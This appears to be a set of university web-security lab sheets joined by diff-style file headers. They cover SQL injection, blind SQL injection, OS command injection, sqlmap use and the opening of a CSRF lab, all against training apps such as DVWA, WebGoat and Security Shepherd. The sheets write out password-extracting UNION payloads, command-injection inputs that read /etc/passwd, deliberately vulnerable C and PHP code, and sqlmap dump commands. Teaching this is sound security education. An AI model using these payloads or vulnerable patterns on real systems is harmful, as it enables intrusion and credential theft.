Start with appending a new SQL statement, as it is easier. Once you have a solution that works, try to change it to use the UNION operator instead. Remember that, when using the UNION operator, the number of columns and their data type must match (you can repeat column names, e.g.”SELECT id, username, id, id FROM employee”).
### Advanced \- Exercise 5 Tips {#advanced---exercise-5-tips}
This is a tough one as we get no SQL errors directly from the database to help us refine our attack. One thing to bear in mind is that the user we need to log in as is “tom” (lowercase), not “Tom”, as the exercise is asking.
Experiment with entering different values in the “username” field of the “Register” tab. If you try to create a user and the username already exists, you get an error message. If the username doesnt already exist, you are allowed to create a new user. What can you deduct from this?
The application appears to be checking the database to see if a username already exists before it creates the user. Use this as your starting point to craft a blind SQL injection attack.
Using the “AND” operator and a username that already exists:
1. Append some SQL to the “username” field that evaluates to true. It shouldnt change the results you were getting before, i.e. cannot create user.
2. Append some SQL to the “username” field that evaluates to false. Did you get a different result?
3. If you were successful in the previous step, you should now have the foundations for a blind SQL injection attack. Replace the statements you appended previously with any yes/no question you wish to ask the database.
If you decide to guess the password letter by letter, the SUBSTRING function is handy. And dont forget you can use the Fuzzer in Zap to do the heavy lifting for you.
Mitigation \- Exercise 10 Tips
Use a proxy. Look at the requests that are being sent when you sort the table by different columns, and the responses that are received. Use this to craft a blind SQL injection attack similar to the one you did for Advanced, exercise 5 (above).
## DVWA challenges {#dvwa-challenges}
There are two ways in which you can complete the DVWA challenges for this week:
1. following a walk-through as you did in previous weeks;
2. on your own, as you did the Security Shepherd challenges.
If you decide to go with option 2, read only the boxes labeled “Task”. Otherwise, read everything and work through the instructions as usual. Please note that the walk-through is only there to point you in the right direction \- it will not give you all the answers.
Remember you will learn more if you attempt to solve at least some of the challenges on your own first.
In Firefox, navigate to [http://localhost/](https://localhost/) and ==action: log in using the default credentials: admin/password==.
### SQL Injection {#sql-injection}
| Task |
| :---- |
| Your task is to craft a SQL injection attack that will retrieve the passwords for all users. If the passwords are hashed but are dictionary words, you may be able to crack them. See if you can get the users passwords in all three levels of security: low, medium and high? |
#### Low Security Level Walk-Through {#low-security-level-walk-through}
==action: Select "DVWA Security" from the left-hand side menu and ensure "low" is selected==.
==action: Select "SQL Injection" from the left-hand side menu==.
==action: Enter the number 1 and click on "Submit"==.
==action: Test if the application is vulnerable to SQL injection by entering==
```
1'#
```
> Question: Did you get the same results?
So far, you added a single quote to end the string and the hash symbol to comment the rest of the query (which most likely only contained a single string).
==action: Replace the hash symbol with an OR condition which evaluates to TRUE==.
> Question: Which results did you get this time?
==action: Click on the "View Source" button to understand what the server-side code is doing==.
> Question: Can you change your original query to return the passwords for each user?
> Question: And for a bit of fun, can you crack the passwords?
#### Medium Security Level Walk-Through {#medium-security-level-walk-through}
==action: Select "DVWA Security" from the left-hand side menu and ensure "medium" is selected==.
==action: Select "SQL Injection" from the left-hand side menu==.
The security level has been increased, so you can no longer enter the SQL injection code into a field. Use Zap to bypass the front-end restrictions and see if you can attack the system this way. If characters are being escaped, you might need to work around it by using the CHAR function.
> Question: Can you get a list of first names and passwords for all users?
#### High Security Level Walk-Through {#high-security-level-walk-through}
==action: Select "DVWA Security" from the left-hand side menu and ensure "high" is selected==.
This level is not much different from the “low” security level, the only difference is that you submit the user ID via a pop-up form and the results are displayed in the main page.
> Question: Can you get a list of first names and passwords for all users?
### Blind SQL Injection {#blind-sql-injection}
| Task |
| :---- |
| Your task is to retrieve the passwords for all users. Since the database is only answering yes/no questions, you may need to craft a brute-force attack that checks each letter of the password against every letter of the alphabet (plus numbers). Can you get the users passwords in all three levels of security: low, medium and high? |
#### Low Security Level {#low-security-level}
==action: Select "DVWA Security" from the left-hand side menu and ensure "low" is selected==.
==action: Select "SQL Injection (Blind)" from the left-hand side menu==. Your goal is to steal the users' passwords.
The first step is to check if the application is indeed vulnerable to SQL injection. As with the previous step, ==action: enter the number 1 and click on "Submit"==.
==action: Then enter==
```
1'#
```
If the application returned the same result, it is most likely vulnerable to SQL injection. It doesnt however show us any data about the user, it only tells us whether it exists or not. It is unlikely we will manage to get a lot of data returned and printed on the screen, but we can go a long way with TRUE or FALSE.
==action: Test other numbers until you get clear distinct results for IDs that exist and IDs that don't==. This is the starting point for your attack: to know what the page looks like when the query returns "true" and when it returns "false".
| TRUE | FALSE |
| :---- | :---- |
| ![][image-4] | ![][image-5] |
| user\_id \= 1 | user\_id \= 10 |
==action: To save time, click on the "View Source" button to see what the table and columns are called==. Now let's try adding a UNION statement that evaluates to TRUE.
```
' UNION SELECT first_name, last_name FROM users WHERE '1'='1
```
> Question: Did you get the screen that equals TRUE, as per our table?
Lets change the UNION statement so it evaluates to FALSE.
```
' UNION SELECT first_name, last_name FROM users WHERE '2'='1
```
> Question: Did you get the screen that equals FALSE?
Congratulations, you have now managed to get the database answering YES/NO questions for you. ==action: Try asking if the password for the user with ID 1 starts with an "a"==.
```
' UNION SELECT first_name, password FROM users WHERE user_id = '1' AND LOWER(SUBSTRING(password, 1, 1)) = 'a
```
It looks like the password starts with a different letter. Let's use Zap to do the heavy lifting for us. ==action: Find the request in the history, highlight the "a" character, right-click on it and select "Fuzz"==.
![][image-6]
==action: Click on "Payloads"==. ==action: Click on "Add"==. ==action: Select "File Fuzzers"==. ==action: Select "jbrofuzz\\Alphabets\\Alpha Numeric"==.
==action: Click on "Add"==. ==action: Click "ok"==.
Now we need to add a payload for the number 1 representing the first parameter in our call to the SUBSTRING function. This number represents the position that our character occupies in the string. We want to fuzz every position.
==action: Highlight the number 1 passed into the SUBSTRING function==.![][image-7]
==action: Click on "Payloads"==. ==action: Click on "Add"==. ==action: Add a numeric payload from 1 to 32 incremented by 1==.
![][image-8]![][image-9]
> Note: We are assuming that the password string has 32 characters or less. This is not an arbitrary number, it is based on the assumption that the password is MD5-hashed as it was in the previous examples. The fuzz will still work if the string is shorter.
==action: Click on "Add"==. ==action: Click "ok"==. ==action: Click on "Start Fuzzer"==.
==action: Sort the results by "Size Resp. Body" and look at your "Payloads" column==.
![][image-10]
==action: Write down the characters and their positions==:
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 |
| :---- | :---- | :---- | :---- | :---- | :---- | :---- | :---- | :---- | :---- | :---- | :---- | :---- | :---- | :---- | :---- | :---- | :---- | :---- | :---- | :---- | :---- | :---- | :---- | :---- | :---- | :---- | :---- | :---- | :---- | :---- | :---- |
| 5 | f | 4 | d | c | | | | | | | | | | | | | | | | | | | | | | | | | | | |
==action: Finally, decrypt the MD5==.
> Question: Can you find any other passwords using this same method?
#### Medium Security Level {#medium-security-level}
==action: Select "DVWA Security" from the left-hand side menu and ensure "medium" is selected==.
==action: Select "SQL Injection (Blind)" from the left-hand side menu==. This task is similar to the previous one: your goal is to steal the users' passwords. Two fundamental differences are: 1\) the ID parameter is numeric, so you wont need to use quotes; 2\) the source-code uses [an existing PHP library](https://www.php.net/manual/en/mysqli.real-escape-string.php) to escape quotes and other special characters. A possible solution is to use a SQL function so it bypasses the PHP filter and gets the database to render your character. Heres a hint:
![][image-11]
> Question: Can you finish the fuzz and find the password for this user?
![][image-12]
#### High Security Level {#high-security-level}
==action: Select "DVWA Security" from the left-hand side menu and ensure "high" is selected==.
==action: Select "SQL Injection (Blind)" from the left-hand side menu==. This level is very similar to the "low" level, but the ID is being set in a cookie. ==action: Use the same approach as you did before==:
| TRUE | FALSE |
| :---- | :---- |
| ![][image-13] | ![][image-14] |
| ![][image-15] | ![][image-16] |
> Question: Can you finish the attack and get at least one password?
![][image-17]
## Log into Security Shepherd and work through 11 assessed tasks {#log-into-security-shepherd-and-work-through-11-assessed-tasks}
> Flag: For this week, **complete:**
* **Session Management (challenges 6-8)**
* **Injection (challenges)**
> Hint: The tips below are optional. Try to complete the challenges without them if you can.
### Session Management Challenge 6 Tips {#session-management-challenge-6-tips}
> Hint: Find an existing privileged user first by typing default names in the "Username" field. Once you have the name and e-mail address of an existing user, exploit a SQL injection flaw in one of the fields with a UNION statement. You will need to guess the table and column names, but they are not too difficult.
### Session Management Challenge 7 Tips {#session-management-challenge-7-tips}
> Hint: This challenge is not related to SQL injection, but it is a good one to practice brute-force attacks using custom files. First, try finding an existing e-mail address by entering common privileged usernames (there are a few that will work). Once you have an e-mail address, try fuzzing the secret answer with [a long list of flower names](https://drive.google.com/file/d/1iihhDnIk3fCNXOwnhNXaq1GiSd9dyD3V/view?usp=sharing).
> Question: Why is this a bad secret question?
### Session Management Challenge 8 Tips {#session-management-challenge-8-tips}
> Hint: This is not related to SQL injection either. To solve this challenge, you will need an ATOM-128 encoder/decoder, which is not included in Zap.
### SQL Injection Challenge 2 Tips {#sql-injection-challenge-2-tips}
> Hint: The e-mail entered is being validated on the server side. The trick here is to craft an injection attack which still respects the e-mail format. Try using "!=" (not equals) to build a statement that compares two strings and evaluates to TRUE.
### SQL Injection Challenge 3 Tips {#sql-injection-challenge-3-tips}
> Hint: This challenge can be solved with a simple UNION statement. All the tables and columns that you need are called something that you would expect, so try guessing what they are through trial and error. If you don't guess a name right, the server sends you a very helpful database error to help you in your next attempt.
### SQL Injection Challenge 4 Tips {#sql-injection-challenge-4-tips}
> Hint: The trick to solve this challenge is to imagine what the application code is doing and how it concatenates the values you enter into a string before sending it to the database. Let's imagine the application is doing something like this: `ResultSet resultSet = stmt.executeQuery("SELECT userName FROM users WHERE userName = '" + enteredUserName + "' AND userPassword = '" + enteredPassword + "'");
`
> Hint: If you are lucky, after a few attempts, you will get a database error which reflects part of your input back. Notice how it appears to strip all single quotes from your input. Based on our code assumption above, could you craft a SQL injection attack without using single quotes? Remember you can escape hardcoded ones by placing the "\\" character before them.
> Tip: Expect to spend some time on this one. It may take some trial and error, but you'll get there in the end.
### SQL Injection Challenge 5 Tips {#sql-injection-challenge-5-tips}
> Hint: This is a tough one and you will definitely need to use a proxy, so get Zap ready before you start. You will find a service that checks the coupon code entered against the database and returns the percentage to be taken off a specific product. The parameter passed in is certainly vulnerable to SQL injection, so you could try executing a number of queries this way. Can you find all the records in the coupons table? Did you find a coupon that takes 100% off trolls?
### SQL Injection Challenge 5 Additional Tip \- only read it if you are really stuck {#sql-injection-challenge-5-additional-tip---only-read-it-if-you-are-really-stuck}
> Hint: The special coupon you need is stored in a different table. The developers attempted to secure this table by not granting SELECT permission to the previous user. In order to query this table, you need to find a secret VIP service that is not available to ordinary users. Use the developer tools in Firefox to find a Javascript file containing the endpoint to this service (you might need to decode the content of the file to make it readable). Then it is just a matter of crafting a SQL injection attack using the parameter passed in the POST request, as you did previously.
### SQL Injection Challenge 6 Tips {#sql-injection-challenge-6-tips}
> Hint: The UNION statement you need to write to get Brendan's answer is quite simple, but the source code is filtering out single quotes. One way to get around this limitation is to use [UTF-8 URL encoding](https://www.w3schools.com/tags/ref_urlencode.ASP). However, in this case, the developer replaced the default "%" with the prefix for hexadecimal escape.
### SQL Injection Challenge 7 Tips {#sql-injection-challenge-7-tips}
> Hint: This one is similar to Challenge 2 in that you have to craft an injection attack which still respects the e-mail format. You will need a UNION statement, but bear in mind that there is a limit of 60 characters being enforced on the server side. A few pointers:
* the “password” field is secure, so focus on the “e-mail” field;
* start with an e-mail that passes the validation, and build up from there;
* the trick is to separate the words in your SQL statement whilst still passing the criteria for e-mail validation;
* experiment with URL encoding for space, new line, etc (some will not pass the e-mail format validation): [https://www.degraeve.com/reference/urlencoding.php](https://www.degraeve.com/reference/urlencoding.php)
### SQL Injection Escaping Tips {#sql-injection-escaping-tips}
> Hint: The trick to complete this challenge is to escape the single quote that is being escaped by the application. After that, a standard SQL injection attack should work.
## Conclusion {#conclusion}
At this point you have:
* Learned about SQL injection attacks and understood what makes a web application vulnerable to them
* Understood the implications of concatenating untrusted user input to commands that are sent to a database
* Learned about blind SQL injection attacks and practiced ways to read information character by character using brute force
* Completed lessons and challenges independently using three different learning platforms: WebGoat, DVWA and Security Shepherd to verify your knowledge of SQL injection in a practical context
Congratulations! Some of the challenges this week were pretty complex and required some creativity with the SQL syntax to get around the security implemented at application level. Injection attacks can be very damaging and are top of the OWASP list of vulnerabilities, so a deep understanding of how they work is fundamental for your career in information security.
[image-1]: {{ site.baseurl }}/assets/images/web_security/4_sqli/image-1.png
[image-2]: {{ site.baseurl }}/assets/images/web_security/4_sqli/image-2.png
[image-3]: {{ site.baseurl }}/assets/images/web_security/4_sqli/image-3.png
[image-4]: {{ site.baseurl }}/assets/images/web_security/4_sqli/image-4.png
[image-5]: {{ site.baseurl }}/assets/images/web_security/4_sqli/image-5.png
[image-6]: {{ site.baseurl }}/assets/images/web_security/4_sqli/image-6.png
[image-7]: {{ site.baseurl }}/assets/images/web_security/4_sqli/image-7.png
[image-8]: {{ site.baseurl }}/assets/images/web_security/4_sqli/image-8.png
[image-9]: {{ site.baseurl }}/assets/images/web_security/4_sqli/image-9.png
[image-10]: {{ site.baseurl }}/assets/images/web_security/4_sqli/image-10.png
[image-11]: {{ site.baseurl }}/assets/images/web_security/4_sqli/image-11.png
[image-12]: {{ site.baseurl }}/assets/images/web_security/4_sqli/image-12.png
[image-13]: {{ site.baseurl }}/assets/images/web_security/4_sqli/image-13.png
[image-14]: {{ site.baseurl }}/assets/images/web_security/4_sqli/image-14.png
[image-15]: {{ site.baseurl }}/assets/images/web_security/4_sqli/image-15.png
[image-16]: {{ site.baseurl }}/assets/images/web_security/4_sqli/image-16.png
[image-17]: {{ site.baseurl }}/assets/images/web_security/4_sqli/image-17.png

View File

@@ -0,0 +1,413 @@
---
title: "Web Security: Advanced Injection"
author: ["Thalita Vergilio", "Z. Cliffe Schreuders", "Andrew Scholey"]
license: "CC BY-SA 4.0"
description: "Learn about advanced injection attacks including OS command injection and automated SQL injection using sqlmap. Understand command injection vulnerabilities and automated penetration testing tools."
overview: |
In this web security lab you will delve into the intricacies of injection attacks, focusing on OS command injection and automated SQL injection. The lab begins by simulating OS command injection in a simple C application, demonstrating how unvalidated user input can lead to potential system shell exploitation. Subsequently, you will explore OS command injection in a PHP application, uncovering the risks associated with unfiltered user input in web environments. The lab sheet then introduces automated SQL injection using sqlmap, a penetration testing tool designed to detect and exploit SQL vulnerabilities efficiently.
Throughout the lab, you will engage with various vulnerable environments, including Damn Vulnerable Web App (DVWA), OWASP WebGoat, and OWASP Security Shepherd. Practical tasks include exploiting SQL injection in DVWA with different security levels, automating SQL injection attacks using sqlmap, and tackling blind SQL injection scenarios. Additionally, you will apply your knowledge to WebGoat, a web application specifically designed for learning security concepts, and complete CTF challenges in Security Shepherd. By the end of the lab, you will have gained hands-on experience in identifying, exploiting, and mitigating OS command injection and SQL injection vulnerabilities, crucial skills for securing web applications in real-world scenarios.
tags: ["web-security", "sql-injection", "command-injection", "sqlmap", "dvwa", "webgoat", "security-shepherd"]
categories: ["web_security"]
lab_sheet_url: "https://docs.google.com/document/d/1tj7qQ-1HbmxXaZNMOCPVECHrFAHpkRVcD_Q0FvMhIWQ/edit?usp=sharing"
type: ["lab-environment", "ctf-lab"]
cybok:
- ka: "WAM"
topic: "Fundamental Concepts and Approaches"
keywords: ["HYPERTEXT MARKUP LANGUAGE (HTML)", "HYPERTEXT TRANSFER PROTOCOL (HTTP) - PROXYING", "DATABASE", "SESSION HIJACKING", "CLIENT-SERVER MODELS"]
- ka: "WAM"
topic: "Server-Side Vulnerabilities and Mitigations"
keywords: ["injection vulnerabilities", "server-side misconfiguration and vulnerable components", "COMMAND INJECTION", "SQL-INJECTION", "BACK-END", "BLIND ATTACKS"]
- ka: "SS"
topic: "Categories of Vulnerabilities"
keywords: ["Web vulnerabilities / OWASP Top 10"]
- ka: "SS"
topic: "Prevention of Vulnerabilities"
keywords: ["coding practices", "Protecting against session management attacks, XSS, SQLi, CSRF"]
- ka: "SS"
topic: "Detection of Vulnerabilities"
keywords: ["dynamic detection"]
---
# Web Security: Advanced Injection
## General notes about the labs {#general-notes-about-the-labs}
Often the lab instructions are intentionally open-ended, and you will have to figure some things out for yourselves. This module is designed to be challenging, as well as fun\!
However, we aim to provide a well planned and fluent experience. If you notice any mistakes in the lab instructions or you feel some important information is missing, please let us know and we will try to address any issues.
## Preparation {#preparation}
> Action: For all of the labs in this module, start by logging into Hacktivity.
[**Click here for a guide to using Hacktivity.**](https://docs.google.com/document/d/17d5nUx2OtnvkgBcCQcNZhZ8TJBO94GMKF4CHBy1VPjg/edit?usp=sharing) This includes some important information about how to use the lab environment and how to troubleshoot during lab exercises. If you havent already, have a read through.
> Action: Make sure you are signed up to the module, claim a set of VMs for the web environment, and start your Kali VM.
Feel free to read ahead while the VM is starting.
==VM: Interact with the Kali VM==.
==action: Login with username "root", password "toor"==.
## Introduction to the approach to lab activities for this module {#introduction-to-the-approach-to-lab-activities-for-this-module}
This module makes use of these great learning resources (amongst others):
* **Damn Vulnerable Web App (DVWA)**: a vulnerable website (written in PHP)
* **OWASP WebGoat and WebWolf**: an interactive teaching environment for web application security (written in Java)
* **OWASP Security Shepherd**: a CTF style set of challenges, with some additional training built-in (written in Java)
These lab sheets will guide you through your use of the above and also introduce some important fundamental concepts and techniques.
## OS command injection in a simple C application {#os-command-injection-in-a-simple-c-application}
OS command injection occurs when an application captures user data and passes it to a system shell without appropriate validation or sanitisation. In order to gain a practical understanding of how OS command injection works, we are going to create a very simple C application that captures a string and echoes it back to the user.
==action: Open a terminal and type the command below to create a file called hello.c==.
```bash
vi hello.c
```
==action: Press the "i" key to enter "insert mode"==.
==action: Enter and save this content (Ctrl + Shift + V to paste):==
```c
#include <stdio.h>
int main() {
char name [20];
char command [100];
printf("What is your name?\n");
scanf("%19[^\n]s", &name);
sprintf(command, "echo Hello %s; echo The time is currently:; date", name);
system(command);
}
```
Press the “ESC” key to ==action: exit “insert mode”==.
To ==action: quit and save the file==, press the “:” key, followed by “wq” (write quit), and press Enter.
Compile the file:
```bash
gcc hello.c -o hello
```
==action: Now run it:==
```bash
./hello
```
==action: Enter your name when prompted to understand how the program is intended to work==.
In C, a semicolon is used to terminate a statement. We can take advantage of our unsanitised entry point into the application to terminate the current statement and append any other shell command we like. ==action: Try it:==
```bash
./hello
; cat /etc/passwd
```
> Note: You will, of course, inherit the same privileges as the running application. If the developers are security-aware, it is unlikely that the application will be running as root (but still worth a try).
## OS command injection in a PHP application {#os-command-injection-in-a-php-application}
We are now going to create a simple PHP application that captures user input sent as a parameter in a GET request and deletes the specified file. As the user input is not filtered, escaped, or sanitised in any way, our application is vulnerable to OS command injection.
==action: Open a terminal and type the command below to create a file called delete.php==.
```bash
vi delete.php
```
==action: Press the "i" key to enter "insert mode"==.
==action: Enter and save this content (Ctrl + Shift + V to paste):==
```php
<?php
print("Please specify the name of the file to delete");
print("<p>");
$file=$_GET['filename'];
system("rm $file");
?>
```
> Note: OWASP code example: [https://owasp.org/www-community/attacks/Command\_Injection](https://owasp.org/www-community/attacks/Command_Injection)
==action: Press the "ESC" key to exit "insert mode"==.
==action: To quit and save the file press the ":" key, followed by "wq" (write quit), and press Enter==.
==action: Self-host this PHP, using the PHP built-in webserver:==
```bash
php -S 127.0.0.1:8075
```
> Note: 127.0.0.1 is the IPv4 loopback address for [localhost](https://en.wikipedia.org/wiki/Localhost) (it connects back to the same computer, locally). We need to tell the PHP built-in-webserver to listen on a specific IP address.
==action: From Firefox visit:==
```
http://localhost:8075/delete.php?filename=hello
```
Open another terminal and ==action:verify that the file named “hello” was successfully deleted:==
```bash
ls | grep hello
```
Lets try to exploit the “filename” parameter. From Firefox visit:
```
http://localhost:8075/delete.php?filename=hello;id
http://localhost:8075/delete.php?filename=hello;ls
http://localhost:8075/delete.php?filename=hello;cat /etc/passwd
```
> Question: Suppose you detected this vulnerability whilst undertaking a security audit. What would you recommend to the developers/owners of the application as mitigation?
## Automated SQL injection {#automated-sql-injection}
As you will probably have noticed when completing last weeks lab challenges, SQL injection attacks can be quite complex and take a considerable amount of time to set up and execute thoroughly. Luckily, there are penetration testing tools such as sqlmap designed to provide some degree of automation to the detection and exploitation of SQL injection vulnerabilities. In this weeks lab, we are going to learn how to use sqlmap by revisiting some of the challenges we completed last week.
Open a terminal and type:
```bash
sqlmap -h
```
![][image-3]
==action: Read the output== to understand how to use the command and the options available.
## DVWA challenges {#dvwa-challenges}
We are going to start with DVWA to understand how sqlmap can help us automate SQL injection attacks.
==action: Open a new instance of Firefox from Zap== to ensure you are hooked up to the proxy.
In Firefox, ==action: navigate to== `https://localhost/` and ==action: log in== using the default credentials: admin/password.
### SQL Injection {#sql-injection}
Our aim this week is to use the SQL Injection tasks we completed last week in DVWA to familiarise ourselves with sqlmap commands and to understand the advantages and disadvantages of using an automation tool.
#### Low Security Level {#low-security-level}
==action: Select “DVWA Security”== from the left-hand side menu and ==action: ensure “low” is selected==.
==action: Select “SQL Injection”== from the left-hand side menu.
==action: Enter the number 1== and ==action: click on “Submit”==.
==Tip: Look at the request history in Zap. You will need to copy the URL and the cookies to use in your sqlmap attack==.
![][image-4]
==action: Let's start by trying to find out what type of database is behind the DVWA application==.
Edit the command below. Replace ==edit:XXXXXXXXXXX== with the value of your PHPSESSID cookie, then ==action: run the command in a terminal:==
```bash
sqlmap -u "http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID===edit:XXXXXXXXXXX==; security=low" --proxy="http://localhost:8080" --dbs
```
> Tip: If you are running Zap on a different port, you will need to adjust the command to reflect it.
> Question: What type of database does the target system use?
==action: Using the output of the help command as guidance, replace the --dbs option with others to answer the questions below==.
> Question: What is the name of the database currently in use by the DVWA application?
> Question: What is the name of the database user that DVWA uses to connect to the database?
Your next task is to ==action: get a dump of all tables found in the database called "dvwa_database"== (remember: you don't want the tables that belong to the "information_schema" database).
> Question: How many tables did you find in the database called "dvwa_database"?
Finally, can you ==action: get a dump of the column called "password" from the table called "users" that belongs to the database called "dvwa_database"?== If asked whether you want to crack the passwords, answer "Yes". Your output should look like this:
![][image-5]
#### Medium Security Level {#medium-security-level}
==action: Select “DVWA Security”== from the left-hand side menu and ==action: ensure “medium” is selected.==
==action: Select “SQL Injection”== from the left-hand side menu.
The security level has been increased, and the request method has changed to a POST.
==action: Find your request in the Zap history tab:==
![][image-6]
> Question: Can you craft a sqlmap attack to get a dump of all the passwords stored in the "users" table? Remember that this is a POST request, so it will be slightly different from the previous exercises as you need to look up how to send the data found in the request's body to sqlmap. Don't forget to update the URL and the cookies (copy and paste from a POST request sent through the application's front-end). Your aim is to get the same output as in the "low" security level:
![][image-5]
==action: Look at the request history in Zap and find the POST request sent by sqlmap==.
![][image-7]
> Question: Which SQL keyword was used to combine the passwords extracted from the "users" table with the results of the original query?
#### High Security Level {#high-security-level}
==action: Select “DVWA Security”== from the left-hand side menu and ==action: ensure “high” is selected==.
With the security set to “high”, the web application redirects you to a pop-up box to enter the user ID. You need to configure sqlmap to work with the two URLs by:
* ==action: setting the main URL to the one in the pop-up box:==
`-u "http://localhost/vulnerabilities/sqli/session-input.php"`
* ==action: setting the second URL to the main “SQL Injection” page:==
`--second-url "http://localhost/vulnerabilities/sqli/"`
* ==action: setting the “--data” option to the data sent by the pop-up window in the body of a POST request== (check your history in Zap),
* then saying “Yes” when sqlmap asks you if you want to follow redirects or resend original POST data.
> Question: Did you get a list of passwords in the end?
### Blind SQL Injection {#blind-sql-injection}
So far, there appears to be very little difference between using a manual SQL injection approach or using an automation tool such as sqlmap. If anything, the sqlmap commands are slightly more verbose than the SQL statements we wrote last week. Let's see if this is still the case when it comes to blind SQL injection.
#### Low Security Level {#low-security-level-1}
==action: Select “DVWA Security”== from the left-hand side menu and ==action: ensure “low” is selected==.
==action: Select “SQL Injection (Blind)”== from the left-hand side menu. Your goal is to steal the users passwords.
==action: Start with a simple request that uses the form as intended: enter the number 1 and click on "Submit"==.
Now find the GET request in Zap and use it to edit the command below. Replace ==edit: XXXXXXXXXXX== with the value of your PHPSESSID cookie, then ==action: run the command in a terminal:==
```bash
sqlmap -u "http://localhost/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="id=1; PHPSESSID===edit:XXXXXXXXXXX== ; security=low" --proxy="http://localhost:8080" -p id -D dvwa_database -T users -C password --threads=8 --dump
```
==action: Accept all the default options==.
> Question: How does this approach compare to the manual attack you performed in last week's lab?
#### Medium Security Level {#medium-security-level-1}
==action: Select “DVWA Security”== from the left-hand side menu and ==action: ensure “medium” is selected==.
==action: Select “SQL Injection (Blind)”== from the left-hand side menu.
Can you ==action: get a list of passwords from the “customers” table using sqlmap?==
> Question: Was the command you used different from the one for "low" security level? How?
#### High Security Level {#high-security-level-1}
==action: Select “DVWA Security”== from the left-hand side menu and ==action: ensure “high” is selected==.
==action: Select “SQL Injection (Blind)”== from the left-hand side menu.
Can you ==action: get a list of passwords from the “customers” table using sqlmap?==
> Question: Was the command you used different from the ones for "low" and "medium" security levels? How?
## Log in to WebGoat and work through learning tasks {#log-in-to-webgoat-and-work-through-learning-tasks}
We are now going to attempt to solve one of the advanced SQL injection tasks on Web Goat using sqlmap.
==action: Access WebGoat by visiting:==
```
http://localhost:8085/WebGoat
```
==action: Log in== (create a new user if you are on a new VM).
### General Tips {#general-tips}
> Note: You may want to set up the filters again in Zap to exclude internal requests from the WebGoat framework. In the History tab, at the bottom,
==action: Click on the filter icon==.
==action: Enter the following information:==
| URL Inc Regex | URL Exc Regex |
| :---- | :---- |
| `http://localhost:8085/WebGoat/.*` | `.*/WebGoat/service/.*mvc` |
==action: Click "Apply"==.
> Note: Don't forget to delete these filter settings when you switch to a different learning platform, e.g. Security Shepherd.
### Advanced \- Exercise 3 {#advanced---exercise-3}
==action: On WebGoat, select "(A1) Injection" from the left-hand side menu. Click on "SQL Injection (advanced)" and navigate to page 3==.
==action: Enter a value in the "Name" field and click on "Get Account Info"==. Then, ==action: in Zap, find the GET request you just sent and use it to complete the command below:==
```bash
sqlmap -u "http://localhost:8085/WebGoat/SqlInjectionAdvanced/attack6a" --cookie="==edit:XXXXXXXXXXX==" --data="userid_6a=Dave" --proxy="http://localhost:8080" -p userid_6a -T user_system_data --level 5 --risk 3 --dump
```
==action: Run the sqlmap command in a terminal to get a dump of the "user_system_data" table. Accept all default options when prompted==.
> Question: What result did you get?
> Question: What do the parameters you sent mean? (type "sqlmap -hh" for help). If you save a copy of this lab sheet you can insert your answers below.
| \-u | |
| :---- | :---- |
| \-p | |
| \-T | |
| \--level | |
| \--risk | |
## Log into Security Shepherd and work through assessed tasks {#log-into-security-shepherd-and-work-through-assessed-tasks}
Since we have already completed the SQL injection tasks in Security Shepherd we are going to work on a different topic this week: failure to restrict URL access. Your goal is to find hidden or predictable URLs unintentionally exposed by the developers and try to access them directly. The three challenges are pretty straightforward, and should work as a revision of concepts and techniques covered earlier in the module (including those related to SQL injection). Have fun!
> Flag: For this week, **complete:**
* **Failure to Restrict URL Access (lesson and challenges)**
### Challenge 3 Tips {#challenge-3-tips}
> Hint: Once you have found the hidden service which returns a list of users, there is a SQL injection vulnerability in one of the cookies sent to this service. Try to automate your attack using the fuzzer in Zap together with a generic SQL Injection payload. You can find a good one here: [https://github.com/payloadbox/sql-injection-payload-list](https://github.com/payloadbox/sql-injection-payload-list)
## Conclusion {#conclusion}
At this point you have:
* Learned about OS command injection attacks and understood what makes an application vulnerable to them
* Created a simple C application to understand OS command injection vulnerabilities and how to exploit them from within a running application
* Created a simple dynamic PHP webpage to understand OS command injection vulnerabilities and how to exploit them when interacting with a web application
* Understood the implications of concatenating untrusted user input to commands that are sent to a system shell
* Used sqlmap to automate SQL injection attacks and compared this method to a manual approach
* Completed lessons and challenges using WebGoat and DVWA with a focus on using sqlmap for the detection and exploitation of SQL injection vulnerabilities
* Completed challenges independently using Security Shepherd to review concepts and techniques covered earlier in the module, including those related to SQL injection.
Well done\! Injection is a big topic, so there was plenty to cover in the two weeks that we have been studying it. Automation tools such as sqlmap can save you a lot of time, but beware of false negatives\! As you have seen in the labs, the most difficult cases require a dash of creativity to solve, as well as an in-depth understanding of how web applications work and what makes them vulnerable to injection.
[image-1]: {{ site.baseurl }}/assets/images/web_security/5_sqli_advanced/image-1.png
[image-2]: {{ site.baseurl }}/assets/images/web_security/5_sqli_advanced/image-2.png
[image-3]: {{ site.baseurl }}/assets/images/web_security/5_sqli_advanced/image-3.png
[image-4]: {{ site.baseurl }}/assets/images/web_security/5_sqli_advanced/image-4.png
[image-5]: {{ site.baseurl }}/assets/images/web_security/5_sqli_advanced/image-5.png
[image-6]: {{ site.baseurl }}/assets/images/web_security/5_sqli_advanced/image-6.png
[image-7]: {{ site.baseurl }}/assets/images/web_security/5_sqli_advanced/image-7.png

View File

@@ -0,0 +1,414 @@
---
title: "Cross-Site Request Forgery"
author: ["Thalita Vergilio", "Z. Cliffe Schreuders", "Andrew Scholey"]
license: "CC BY-SA 4.0"
description: "Learn about Cross-Site Request Forgery (CSRF) attacks through hands-on exercises using DVWA, OWASP WebGoat and WebWolf, and Security Shepherd. Understand CSRF vulnerabilities, CORS limitations, and practical skills in executing and defending against such attacks."
overview: |
In this web security lab focused on Cross-Site Request Forgery (CSRF), you will delve into the intricacies of a prevalent attack that exploits the trust websites have in their users. CSRF, also known as session riding, involves users unknowingly sending requests to services they are logged into, utilizing their session cookies and other identifying information. The lab employs resources such as Damn Vulnerable Web App (DVWA), OWASP WebGoat and WebWolf, and CTF via OWASP Security Shepherd. The theoretical foundation covers the distinction between XSS and CSRF, emphasizing CSRF's exploitation of user trust to execute state-changing transactions. The lab introduces you to tools like Zap and WebWolf, guiding you through various exercises in WebGoat and DVWA to simulate and understand CSRF attacks at different security levels.
